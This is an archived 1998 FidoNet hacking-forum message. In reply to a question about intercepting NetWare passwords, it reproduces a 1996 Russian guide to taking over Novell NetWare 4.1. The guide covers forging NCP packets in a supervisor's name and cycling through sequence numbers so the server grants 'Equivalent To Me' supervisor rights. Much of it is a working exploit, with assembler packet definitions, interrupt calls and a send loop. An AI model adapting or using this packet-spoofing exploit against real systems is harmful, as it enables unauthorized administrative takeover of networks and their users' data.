_ RU.NETHACK (2:5077/15.22) _______________________________________ RU.NETHACK _
From : Anton Korenyako 2:5020/1223.108 18 Feb 98 03:47:00
Subj : хак NW 4.1x
________________________________________________________________________________
Hi, Timur!
Ч В Суб Фев 14 1998, в 22:43, Timur Muminov send letta 2 Eugeny Kreewosheyew.
TM> 13 Feb 98 00:22, Eugeny Kreewosheyew wrote to Vladislav Myasnyankin:
EK>> Вpядли. У Novell один из самых гpамотных алгоpитмов кэшиpования.
EK>> Вот NT так пpогнyть - плевое дело, а на Netware дpyгие способы
EK>> искать надо.
TM> А есть ли способы перехвата пакетов по сети и декодирования паролей
TM> для NW 4.** ?? может кто алгоритм кинет шифрования в новелле ?? или
TM> хоть что-то для начала ? дальше уж сам как-нить.
Может это тебя спасет?
=== Cut ===
КАК ВЗЛОМАТЬ NOVELL NETWARE 4.1
-------------------------------
Гусев Игорь и Ильченко Евгений
1996
Содержание
Введение...............................................................3
1.Принцип обмена пакетами..............................................4
2.Общая идея взлома....................................................4
3.Как получить права супервизора.......................................5
4.Последствия..........................................................7
Заключение............................................................10
Введение
Как вы знаете все может быть сломано и NOVELL NETWARE не является ис-
ключением. Однако время взлома чего-нибудь зависит от времени получения
информации о этом. Чем больше информации вы найдете, тем проще вам бу-
дет взламывать.
В этом документе мы хотели немного рассказать о сети NOVELL и о
том как ее взломать.
1.Принцип обмена пакетами.
Прежде всего, сервер и рабочие станции посылают пакеты друг другу в
соответствие со специальным протоколом известным как Netware Core
Protocol ( NCP ) основанным на протоколе IPX. Все пакеты подписываются
уникальным номером в диапозоне от 0 до 255 хранящемся в одном байте.
Это поле известно как Sequence Number. Смотрите на структуру пакета.
ReceiverAddress 6 Normal Адрес рабочей станции , которая бу-
дет получать пакет
SenderAddress 6 Normal Адрес рабочей станции , которая по-
сылает пакет
DataLength 2 High-Low Длина пакета
----------------------- Заголовок протокола IPX ------------------------
CheckSum 2 Normal Контрольная сумма
IpxLength 2 High-Low Длина пакета
HopCount 1 - Число мостов
PacketType 1 - Тип пакета
DestNetwork 4 Normal Адрес сети назначения
DestNode 6 Normal Адрес станции назначения
DestSocket 2 Low-High Сокет программы назначения
SourceNetwork 4 Normal Адрес сети источника
SourceNode 6 Normal Адрес станции источника
SourceSocket 2 Low-High Сокет программы источника
---------------------- Заголовок протокола NCP -------------------------
RequestType 2 Low-High Зависит от запроса
SequenceNumber 1 - омер пакета
ConectionNumberLow 1 - омер соединения.азначается во
время подсоединения станции к сер-
веру
TaskNumber 1 - омер задачи.Это для рабочей стан-
ции наверно. е стоит о нем заботи-
ться.Просто поставте 0 или любое
значение.
ConectionNumberHigh 1 - Всегда 0.
FunctionCode 1 - Идентификатор функции
------------------------ Данные протокола NCP -------------------------
- - - Зависит от типа запроса и функции
Инициатором является станция. Она посылает пакет с запросом и ждет от-
вета. Сервер получая запрос, проверяет адрес станции , адрес сети , со-
кет , номер соединения и sequence number. Если что-нибудь не в порядке
сервер отказывается выполнять запрашиваемую операцию и посылать ответ.
2.Общая идея взлома.
Как было сказано выше сервер проверяет все пакеты, которые он полу-
чает. о если сформировать пакет как это делает другая станция, поста-
вить ее адрес, номер соединения и т.д. и послать его в сеть, то сервер
никогда не узнает чей запрос он выполняет. Основная трудность - sequence
number, потому что другие поля могут быть получены с помощью обычных
функций. Чтобы быть уверенным, что сервер выполнил операцию нужно пос-
лать тот же самый пакет 255 раз с разными sequens numbers.
3.Как получить права супервизора
Вы можете получить права супервизора просто став его эквиваленитом.
Есть функция известная как EQUEVALENT TO ME , которую следует посылать
от имени супервизора. Смотрите на структуру пакета.
Структура пакета с фукцией EQUEVALENT TO ME
--------------------- Заголовок физического пакета ---------------------
RecAdr db 00,20h,0afh,4fh,5fh,0ah
SndAdr db 00,20h,0afh,089h,022h,0afh
DataLength db 01,68h
------------------------- Заголовок IPX пакета -------------------------
dw 0ffffh
IpxLength db 01,67h
db 0
db 17
DestNetwork db ?,?,?,?
DestNode db ?,?,?,?,?,?
DestSocket db 04,51h
SourceNetWork db 00,00,01,02
SourceNode db ?,?,?,?,?,?
SourceSocket db 40h,03
------------------------ Заголовок пакета NCP -------------------------
db 22h,22h
SequenceNumber db 48
ConnectionNumberLow db 24
db 4
db 0
db 68h
db 2
-------------------------- Данные пакета NCP --------------------------
dd -1
dd 514
S1_2: dd offset S1_1 - offset S1_2-4
dd 0
dd 9
dd 0
dd 0
dd 0
S1ID db 67h,02h,00,06h
dd 1
dd 5
dd 34
db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
dd 0
dd 1
dd 26
db '3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0
db '.',0,'T',0,'S',0,'U',0
S1_1:
Чтобы получить адрес, сеть, сокет, ID, номер соединения используй-
те след. функции.
Получить номер соединения
ah=E3h
ds:si=> ConReq
dw 2 - длина
db 16h - подфункция
db ? - номер соединения
es:di=> ConRep
dw 62 - длина
db 4 dup (?)
dw ? - тип пользователя
db 56 duo (?) - имя пользователя
int 21h
Вы можете послать пакет через IPX драйвер (функция 9), однако в этом
случае вы не имеете доступа к физическому заголовку пакета. Мы полагаем,
что сервер не проверяет адрес отправителя там.
Вы также можете послать через LSL драйвер, но это слишком сложно.
Самый простой способ - послать через ODIPKT драйвер ( функция 4 ).
Послать пакет через Odipkt
ah=4
cx=длина
ds:si=>пакет
int 60h
C=1 если ошибка
Процедура посылки пакетов
Send proc
mov SequenceNumber,0
@@1: push ds
push es
mov ah,4
mov cx,Length
mov si,offset Packet
int 60h
pop es
pop ds
jc @@1
mov cx,1000
loop $-2
dec SequenceNumber
jne @@1
ret
Send endp
4.Последствия.
После ответа на пакет сервер ждет следующего с увеличенным на 1
sequence number"ом. Если вы попытаетесь вставить ваш пакет в работу меж-
ду сервером и станцией, последняя повиснет. Этого можно избежать посыл-
кой еще 255*256 пакетов.
Заключение
Если вы реализуете программу по этому документу у вас будут права
супервизора. Мы надеемся, что вы не будете вредить таким же пользовате-
лям, каким вы до этого были.
Copyright 1995. by dISEr&_Igor_ (http://www.tsu.tomsk.su/~eugene/)
Все комментарии, предожения,
вопросы шлите по адресу : eugene@info.tsu.tomsk.su